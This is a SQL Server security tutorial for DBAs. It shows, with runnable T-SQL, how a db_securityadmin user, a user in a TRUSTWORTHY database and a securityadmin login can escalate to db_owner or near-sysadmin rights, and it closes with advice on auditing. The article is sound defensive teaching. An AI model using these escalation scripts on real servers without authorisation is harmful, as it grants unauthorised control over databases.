Backdoor to Elevate SQL Server Security Privileges

By:   |   Updated: 2018-01-23   |   Comments (1)   |   Related: > Security


Problem

There are many best practices and guidelines regarding security settings in SQL Server, such as granting users the minimum required permissions, setting the database trustworthy setting off, renaming the sa login, etc. But I seldom see examples illustrate if these practices are not followed and the potential harm to SQL Server security. In this tip we look at some detailed examples.

Solution

SQL Server is a pretty robust system especially when all security best practices are followed. However, in the real world, due to various business requirements, we cannot always follow all best practices, otherwise, Microsoft could simply just harden all security settings in the system, for example: removing options for users to configure any security settings.

For DBAs, as long as we understand the potential security loopholes, we will be more confident in making informed decisions and adopt necessary mitigation approaches. We will look at a few common cases to explore how security settings may cause unexpected problems.

Case 1 – Database user with db_securityadmin privilege gaining db_owner privilege in database

In this case, we will see how a user with db_securityadmin privilege can become a member of the db_owner role.

We will first create a database [DB1] and then create a login and corresponding user in [DB1].

Database Login Privilege Potential Issue
DB1 John [John] is a user in DB1. [John] is a member of db_securityadmin. [John] can get privilege of a db_owner member.

Let’s first set up the environment. We will run the following code in a SSMS window [Win_1], connected as a sysadmin.

use master;

if db_id('db1') is not null
  drop database DB1;
create database DB1;

alter database DB1 set recovery simple;
go

create login John with password='HelloWorld!', check_policy=off;
go

use DB1
create user [John] for login [John];
alter role db_securityadmin add member [John];
go 

Now we will open another SSMS window (Win_2) and log in as [John].

login screen - Description: log in as [John]

After connecting as [John], we will then try to create a table as follows:

-- this is Win_2, logged in as [John]
use DB1
create table dbo.TestTable (id int);

And we will get the following error:

Msg 262, Level 14, State 1, Line 3
CREATE TABLE permission denied in database 'DB1'.

This is expected because [John] is just a db_securityadmin member, who will not be able to do any DDL/DML work.

So how can [John] elevate himself to do DDL/DML or even more work, like creating/dropping a user? It is actually pretty simple.

In [Win_2] SSMS window, we can run the following code.

-- this is Win_2, logged in as [John]
use DB1
create role TestRole; --first create a new role
grant control on database::db1 to [TestRole]; --grant the maximum permission to this new role
alter role [TestRole] add member [John]; --add [John] self to this new role

-- now [John] can DML/DDL any database objects
-- such as create/populate/select/drop a table
create table dbo.table_john (id int)
insert into dbo.table_john (id) values (1), (2);
select * from dbo.table_john;
drop table dbo.table_john; 

The script mainly does two things, first it creates a database role [TestRole] and then grants database [Control] permission to this new role, and then adds [John] to this new role, thus [John] gains almost all privileges inside [DB1]. We can see this by running the following:

use DB1
select * from sys.fn_my_permissions(null, 'database') 
order by permission_name; 

We will get a total of 74 permissions (this is what I got in SQL Server 2016), like the following:

permission - Description: [john] gains db_owner permission

Case 2 – Database trustworthy setting = 1

In this case, we will see how a database user in one database (with trustworthy = 1) can take ownership of another database.

We will create two databases and create two logins and their corresponding users.

Database Login Privilege Potential Issue
DB1 John [John] is a db_owner member in DB1, [John] is not a user in DB2. [Mary] is a user of db_datareader in DB1 [John] can become db_owner of DB2 if DB1 has trustworthy set on
DB2 Mary [Mary] is a db_owner of DB2  

Let’s first set up the environment.

We first open an SSMS window (Win_1) as a sysadmin and run the following code.

use master;
create database DB1;
create database DB2
 
alter database DB1 set recovery simple;
alter database DB2 set recovery simple;
go

Use DB1;
create user [John] for login [John];
alter role db_owner add member [John];
create user [Mary] for login [Mary];
alter role db_datareader add member [Mary];
go
 
use DB2
create user [Mary] for login [Mary];
alter role db_owner add member [Mary];
go

-- in DB2, we create a table and populate it with two rows
Use DB2
create table dbo.t (id int, a varchar(100));
insert into DB2.dbo.t (id, a) values (1, 'hello'), (2, 'world');
go 

Now we open another SSMS window [Win_2] and log in as [John]. In this new window [Win_2], we run the following script and we can find that [John] cannot access DB2 data:

-- this is Win_2
use DB1
print 'I am ' + quotename(user_name(), '[]');
select * from db2.dbo.t; 

We get the following message:

messages

So [John] cannot access DB2 objects, and this is as expected. Now even if we try to execute as [Mary] in [Win_2] and access DB2.dbo.t, we still cannot succeed as shown below:

-- still run inside Win_2
exec as user = 'mary'
select suser_sname(), * from db2.dbo.t
--delete from db2.dbo.t -- you can even delete
revert
mary

Now if we check the trustworthy setting of DB1, we can see that it is set to off (by default):

trustworthy setting - Description: DB1 trustworthy off

We will turn on the trustworthy setting for DB1 to show what happens if this is on (this would be done in window [Win_1] by a sysadmin):

alter database DB1 set trustworthy on;
--check trustworthy setting of DB1, DB2
select name, is_trustworthy_on
from sys.databases
where name in ('db1', 'db2');
trustworthy

Now, we will run the previous two scripts again in [Win_2] window as user [John] and we will see:

  • If run as [John] directly, we still cannot access DB2.dbo.t:
access denied - Description: [John] cannot access [DB2] objects
  • But if [John] impersonates [Mary] (who is a db_owner of the DB2 database), [John] can access DB2 without problem:
access granted - Description: [John] can access [DB2] objects via personation

Actually, through impersonation, if [DB1] is set with Trustworthy on, [John] is elevated to have the same privilege as user [Mary], which in this case, [Mary] is a db_owner of [DB2], even though [John] is not a user of [DB2].

For example, [John] can even add himself into the DB2 database as a db_owner member via the following dynamic code (run it in [Win_2] window):

use DB1
exec as user = 'Mary'
--exec ('use db2; drop user [John]');
exec ('use db2; create user [John] from login [John]; alter role db_owner add member [John];')
revert 

We can verify it by running the following code in [Win_1] window.

john is db_owner - Description: with db1 trustworthy on, [john] can gain db2 db_owner privilege

We see [John] is now a user in [DB2] and is a member of the db_owner role.

Case 3 – A login with SecurityAdmin privilege can gain SysAdmin privilege

In Microsoft BOL, there is an important note about the [securityadmin] role as shown below:

BOL - Description: BOL about securityadmin role

Say we have a login named [John] and has [securityadmin] membership. We’ll see how [John] can access sysadmin privileges.

We first open an SSMS window [Win_1] as a sysadmin and run the following code:

-- this is window Win_1, logged in as sysadmin
use master;
select suser_sid('John') is not null
drop login [John];
create login [John] with password='HelloWorld!', check_policy;
-- add to [securityadmin] fixed server role
alter server role securityadmin add member [John];  

Now we open another SSMS window [Win_2] and log in as [John]:

-- this is window [Win_2] and logged in as [John]
-- we create another login
if suser_sid('Mary') is not null
drop login [Mary];
create login Mary with password='HelloWorld!', check_policy=off;
-- grant [Control Server] permission 
grant control server to [Mary]; 

Since [John] creates login [Mary], it means [John] knows Mary’s password, so John can open another SSMS windows [Win_3] and log in as [Mary]. Since [Mary] has [Control Server] privilege, [Mary] has almost exactly the same privilege as a sysadmin login, meaning [Mary] can create/drop databases, sp_configure anything or shutdown the SQL Server instance as shown below.

shutdown - Description: Mary can shutdown sql instance

If [John] tries to do the same in [Win_2], he will not be able to.

shutdown denied - Description: [John] cannot shutdown sql instance directly

Summary

In this tip, we have reviewed some cases how a SQL Server login or a database user can elevate to a higher privileged login / database user. This reminds us to be careful when granting such privileges and we need to put auditing in place in case such privileges are abused.

All scripts are tested in SQL Server 2016, but I expect them to be runnable on SQL Server 2008 and later versions as well.

Next Steps

There are a few other potential cases I did not mention in this tip, such as potential harmful CLR stored procedure when database trustworthy is on, or high privileged proxy accounts being utilized in malicious SQL Server Agent Jobs, or the cross database chaining setting and its potential impact to database user privileges, etc.

It may be worthwhile for you to dig deep and explore the potential risks. Only after knowing the risks and how such risks can materialize could we better mitigate these risks in our daily DBA practices.

You can also read a few security-related tips below:



sql server categories

sql server webinars

subscribe to mssqltips

sql server tutorials

sql server white papers

next tip



About the author
MSSQLTips author Jeffrey Yao Jeffrey Yao is a senior SQL Server consultant, striving to automate DBA work as much as possible to have more time for family, life and more automation.

This author pledges the content of this article is based on professional experience and not AI generated.

View all my tips


Article Last Updated: 2018-01-23

Comments For This Article




Wednesday, August 18, 2021 - 9:48:37 PM - Tim Cartwright Back To Top (89144)
I know this is an older post, but I have created a server trigger to block this very scenario. Which will allow us to grant accounts security admin but keep them from elevating anyone.

https://gist.github.com/tcartwright/4872575cb3351c959a53defb33b157e1














get free sql tips
agree to terms